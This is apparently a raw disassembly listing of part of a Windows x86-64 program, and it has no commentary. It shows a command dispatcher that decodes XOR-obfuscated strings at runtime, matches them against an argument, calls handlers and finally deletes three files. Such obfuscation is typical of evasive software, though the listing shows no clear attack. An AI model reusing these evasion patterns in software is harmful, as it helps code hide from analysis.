cmp byte [rdx + 3], 0
je 0x1400335c5
xor byte [rdx], 0xd7
xor byte [rdx + 1], 0xaf
xor byte [rdx + 2], 0x67
mov byte [rdx + 3], 0
mov rax, qword [r15 + 8]
sub rdx, rax
nop dword [rax]
movzx r8d, byte [rax]
movzx ecx, byte [rax + rdx]
sub r8d, ecx
jne 0x1400335e4
inc rax
test ecx, ecx
jne 0x1400335d0
test r8d, r8d
jne 0x14003368f
cmp dword [rsp + 0x40], 3
jle 0x140033630
call fcn.14002bd10
mov rcx, rax
call fcn.1400020b0
mov rcx, qword [r15 + 0x18]
sub rax, rcx
nop dword [rax + rax]
movzx r8d, byte [rcx]
movzx edx, byte [rcx + rax]
sub r8d, edx
jne 0x140033624
inc rcx
test edx, edx
jne 0x140033610
mov eax, 1
test r8d, r8d
cmove r14d, eax
mov r8d, r14d
xor edx, edx
mov rcx, qword [r15 + 0x10]
call fcn.140036760
mov ebx, eax
mov edx, eax
lea rcx, [0x140425920]
call fcn.140002170
mov rcx, rax
call fcn.140004a10
mov edx, ebx
lea rcx, [rbp + 0xa70]
call fcn.140036840
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140033672
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
call fcn.140006480
nop
lea rcx, [rbp + 0xa70]
call fcn.1400025e0
mov eax, ebx
jmp 0x140032c24
cmp dword [rsp + 0x40], 3
jle 0x140033a0e
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x2c4
mov eax, dword [rdx + rcx]
mov ebx, 0x160
test al, 1
jne 0x1400336dc
or eax, 1
mov dword [rdx + rcx], eax
mov word [rbx + rcx + 3], 0x11d
mov word [rbx + rcx], 0x8ae0
mov byte [rbx + rcx + 2], 0x9e
lea rcx, [0x14003bde0]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
cmp byte [rdx + 4], 0
je 0x140033704
xor byte [rdx], 0xcd
xor byte [rdx + 1], 0xe9
xor byte [rdx + 2], 0xfd
xor byte [rdx + 3], 0x1d
mov byte [rdx + 4], 0
mov rax, qword [r15 + 8]
sub rdx, rax
nop dword [rax + rax]
movzx r8d, byte [rax]
movzx ecx, byte [rax + rdx]
sub r8d, ecx
jne 0x140033724
inc rax
test ecx, ecx
jne 0x140033710
test r8d, r8d
jne 0x1400337c4
lea rax, [rbp + 0x1b0]
mov qword [rsp + 0x50], rax
mov rdx, qword [r15 + 0x18]
lea rcx, [rbp + 0x1b0]
call fcn.140002770
mov rbx, rax
mov rdx, qword [r15 + 0x10]
lea rcx, [rbp + 0x1f0]
call fcn.140002770
nop
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call fcn.1400350b0
mov ebx, eax
lea rcx, [0x140425920]
call fcn.140004a10
mov edx, ebx
mov rcx, rax
call fcn.140002170
mov rcx, rax
call fcn.140004a10
mov edx, ebx
lea rcx, [rbp + 0xab0]
call fcn.140036840
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x1400337a7
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
call fcn.140006480
nop
lea rcx, [rbp + 0xab0]
call fcn.1400025e0
mov eax, ebx
jmp 0x140032c24
cmp dword [rsp + 0x40], 3
jle 0x140033a0e
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x640
mov eax, dword [rdx + rcx]
mov ebx, 0x560
test al, 1
jne 0x140033811
or eax, 1
mov dword [rdx + rcx], eax
mov word [rbx + rcx + 3], 0x1e5
mov word [rbx + rcx], 0xcfc6
mov byte [rbx + rcx + 2], 0xd6
lea rcx, [0x14003bdc0]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
cmp byte [rdx + 4], 0
je 0x140033839
xor byte [rdx], 0xeb
xor byte [rdx + 1], 0xb7
xor byte [rdx + 2], 0xb5
xor byte [rdx + 3], 0xe5
mov byte [rdx + 4], 0
mov rax, qword [r15 + 8]
sub rdx, rax
movzx r8d, byte [rax]
movzx ecx, byte [rax + rdx]
sub r8d, ecx
jne 0x140033854
inc rax
test ecx, ecx
jne 0x140033840
test r8d, r8d
jne 0x1400338e9
lea rax, [rbp + 0x210]
mov qword [rsp + 0x50], rax
mov rdx, qword [r15 + 0x18]
lea rcx, [rbp + 0x210]
call fcn.140002770
mov rbx, rax
mov rdx, qword [r15 + 0x10]
lea rcx, [rbp + 0x230]
call fcn.140002770
nop
mov rdx, rbx
mov rcx, rax
call fcn.140034b40
mov ebx, eax
mov edx, eax
lea rcx, [0x140425920]
call fcn.140002170
mov rcx, rax
call fcn.140004a10
mov edx, ebx
lea rcx, [rbp + 0xb10]
call fcn.140036840
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x1400338cc
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
call fcn.140006480
nop
lea rcx, [rbp + 0xb10]
call fcn.1400025e0
mov eax, ebx
jmp 0x140032c24
cmp dword [rsp + 0x40], 3
jle 0x140033a0e
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x734
mov eax, dword [rdx + rcx]
mov ebx, 0x53c
test al, 1
jne 0x140033932
or eax, 1
mov dword [rdx + rcx], eax
mov dword [rbx + rcx + 2], 0x1c53c9d
mov word [rbx + rcx], 0xefc6
lea rcx, [0x14003bda0]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rax, qword [rax]
add rax, rbx
cmp byte [rax + 5], 0
je 0x14003395e
xor byte [rax], 0xeb
xor byte [rax + 1], 0x97
xor byte [rax + 2], 0xed
xor byte [rax + 3], 0x5f
xor byte [rax + 4], 0xc5
mov byte [rax + 5], 0
mov rcx, qword [r15 + 8]
sub rax, rcx
nop word [rax + rax]
movzx r8d, byte [rcx]
movzx edx, byte [rcx + rax]
sub r8d, edx
jne 0x140033984
inc rcx
test edx, edx
jne 0x140033970
test r8d, r8d
jne 0x140033a0e
lea rax, [rbp + 0x150]
mov qword [rsp + 0x50], rax
mov rdx, qword [r15 + 0x18]
lea rcx, [rbp + 0x150]
call fcn.140002770
mov rbx, rax
mov rdx, qword [r15 + 0x10]
lea rcx, [rbp + 0x250]
call fcn.140002770
nop
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call fcn.1400345b0
mov ebx, eax
mov edx, eax
lea rcx, [0x140425920]
call fcn.140002170
mov rcx, rax
call fcn.140004a10
mov edx, ebx
lea rcx, [rbp + 0xb70]
call fcn.140036840
nop
mov rdx, rax
call fcn.140004be0
nop
lea rcx, [rbp + 0xb70]
call fcn.1400025e0
mov eax, ebx
jmp 0x140032c24
cmp dword [rsp + 0x40], 1
jle 0x140033ca4
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x5c4
mov eax, dword [rdx + rcx]
mov ebx, 0x390
test al, 1
jne 0x140033a57
or eax, 1
mov dword [rdx + rcx], eax
mov dword [rcx + rbx + 2], 0x1bbd79e
mov word [rcx + rbx], 0xa12
lea rcx, [0x14003bd80]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rax, qword [rax]
add rax, rbx
cmp byte [rax + 5], 0
je 0x140033a83
xor byte [rax], 0x3f
xor byte [rax + 1], 0x69
xor byte [rax + 2], 0xed
xor byte [rax + 3], 0xbf
xor byte [rax + 4], 0xbb
mov byte [rax + 5], 0
mov rcx, qword [r15 + 8]
sub rax, rcx
nop word [rax + rax]
movzx r8d, byte [rcx]
movzx edx, byte [rcx + rax]
sub r8d, edx
jne 0x140033aa4
inc rcx
test edx, edx
jne 0x140033a90
test r8d, r8d
jne 0x140033af1
call fcn.140034400
mov ebx, eax
mov edx, eax
lea rcx, [0x140425920]
call fcn.140002170
mov rcx, rax
call fcn.140004a10
mov edx, ebx
lea rcx, [rbp + 0xb90]
call fcn.140036840
nop
mov rdx, rax
call fcn.140004be0
nop
lea rcx, [rbp + 0xb90]
call fcn.1400025e0
mov eax, ebx
jmp 0x140032c24
cmp dword [rsp + 0x40], 1
jle 0x140033ca4
call fcn.14002bb10
mov rcx, rax
call fcn.140002080
mov rcx, qword [r15 + 8]
sub rax, rcx
movzx r8d, byte [rcx]
movzx edx, byte [rcx + rax]
sub r8d, edx
jne 0x140033b24
inc rcx
test edx, edx
jne 0x140033b10
test r8d, r8d
jne 0x140033b71
call fcn.140033fe0
mov ebx, eax
mov edx, eax
lea rcx, [0x140425920]
call fcn.140002170
mov rcx, rax
call fcn.140004a10
mov edx, ebx
lea rcx, [rbp + 0xbb0]
call fcn.140036840
nop
mov rdx, rax
call fcn.140004be0
nop
lea rcx, [rbp + 0xbb0]
call fcn.1400025e0
mov eax, ebx
jmp 0x140032c24
cmp dword [rsp + 0x40], 1
jle 0x140033ca4
call fcn.14002bab0
mov rcx, rax
call fcn.140002050
mov rcx, qword [r15 + 8]
sub rax, rcx
movzx r8d, byte [rcx]
movzx edx, byte [rcx + rax]
sub r8d, edx
jne 0x140033ba4
inc rcx
test edx, edx
jne 0x140033b90
test r8d, r8d
jne 0x140033bf1
call fcn.140033ec0
mov ebx, eax
mov edx, eax
lea rcx, [0x140425920]
call fcn.140002170
mov rcx, rax
call fcn.140004a10
mov edx, ebx
lea rcx, [rbp + 0xbd0]
call fcn.140036840
nop
mov rdx, rax
call fcn.140004be0
nop
lea rcx, [rbp + 0xbd0]
call fcn.1400025e0
mov eax, ebx
jmp 0x140032c24
cmp dword [rsp + 0x40], 1
jle 0x140033ca4
call fcn.14002ba40
mov rcx, rax
call fcn.140002030
mov rcx, qword [r15 + 8]
sub rax, rcx
movzx r8d, byte [rcx]
movzx edx, byte [rcx + rax]
sub r8d, edx
jne 0x140033c24
inc rcx
test edx, edx
jne 0x140033c10
test r8d, r8d
jne 0x140033ca4
mov rdx, qword [r15 + 0x10]
lea rcx, [rbp + 0xbf0]
call fcn.140036650
nop
mov rdx, rax
call fcn.140004be0
mov rcx, rax
call fcn.140004a10
nop
lea rcx, [rbp + 0xbf0]
call fcn.1400025e0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov edx, eax
lea rcx, [0x140425920]
call fcn.140002170
mov rcx, rax
call fcn.140004a10
mov edx, ebx
lea rcx, [rbp + 0xc10]
call fcn.140036840
nop
mov rdx, rax
call fcn.140004be0
nop
lea rcx, [rbp + 0xc10]
call fcn.1400025e0
mov eax, ebx
jmp 0x140032c24
cmp dword [rsp + 0x40], 3
jle 0x140033d2c
call fcn.14002b9e0
mov rcx, rax
call fcn.140002000
mov rcx, qword [r15 + 8]
sub rax, rcx
movzx r8d, byte [rcx]
movzx edx, byte [rcx + rax]
sub r8d, edx
jne 0x140033cd7
inc rcx
test edx, edx
jne 0x140033cc3
test r8d, r8d
jne 0x140033d2c
mov rdx, qword [r15 + 0x18]
mov rcx, qword [r15 + 0x10]
call fcn.140036430
mov ebx, eax
mov edx, eax
lea rcx, [0x140425920]
call fcn.140002170
mov rcx, rax
call fcn.140004a10
mov edx, ebx
lea rcx, [rbp + 0xc30]
call fcn.140036840
nop
mov rdx, rax
call fcn.140004be0
nop
lea rcx, [rbp + 0xc30]
call fcn.1400025e0
mov eax, ebx
jmp 0x140032c24
cmp dword [rsp + 0x40], 1
jle 0x140033dfa
call fcn.14002b980
mov rcx, rax
call fcn.140001fe0
mov rcx, qword [r15 + 8]
sub rax, rcx
nop dword [rax + rax]
movzx r8d, byte [rcx]
movzx edx, byte [rcx + rax]
sub r8d, edx
jne 0x140033d64
inc rcx
test edx, edx
jne 0x140033d50
test r8d, r8d
jne 0x140033dfa
jmp 0x140032c22
call fcn.14002da10
mov rcx, rax
call fcn.140002100
mov rdx, rax
lea rcx, [0x140425920]
call fcn.140004760
mov rcx, rax
call fcn.140002590
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x380]
call fcn.1400025d0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, [rbp + 0x360]
call fcn.1400025d0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, [rbp + 0x340]
call fcn.1400025d0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.14000fe20
nop
call fcn.14002b920
mov rcx, rax
call fcn.140001fc0
mov rdx, rax
lea rcx, [0x140425920]
call fcn.140004760
mov rcx, rax
call fcn.140002590
call fcn.14000fe20
nop
lea rcx, str.invalid_stoi_argument
call fcn.140006c4c
int3
lea rcx, str.stoi_argument_out_of_range
call fcn.140006c94
nop
call fcn.14001368c
nop
call fcn.14001368c
nop
call fcn.14001368c
nop
call fcn.14001368c
nop
call fcn.14001368c
nop
call fcn.14001368c
nop
call fcn.14001368c
nop
call fcn.14001368c
nop
call fcn.14001368c
nop
call fcn.14001368c
nop
call fcn.14001368c
nop
call fcn.14001368c
nop
call fcn.14001368c
nop
call fcn.14001368c
nop
call fcn.14001368c
nop
call fcn.14001368c
nop
call fcn.14001368c
nop
call fcn.14001368c
nop
call fcn.14001368c
int3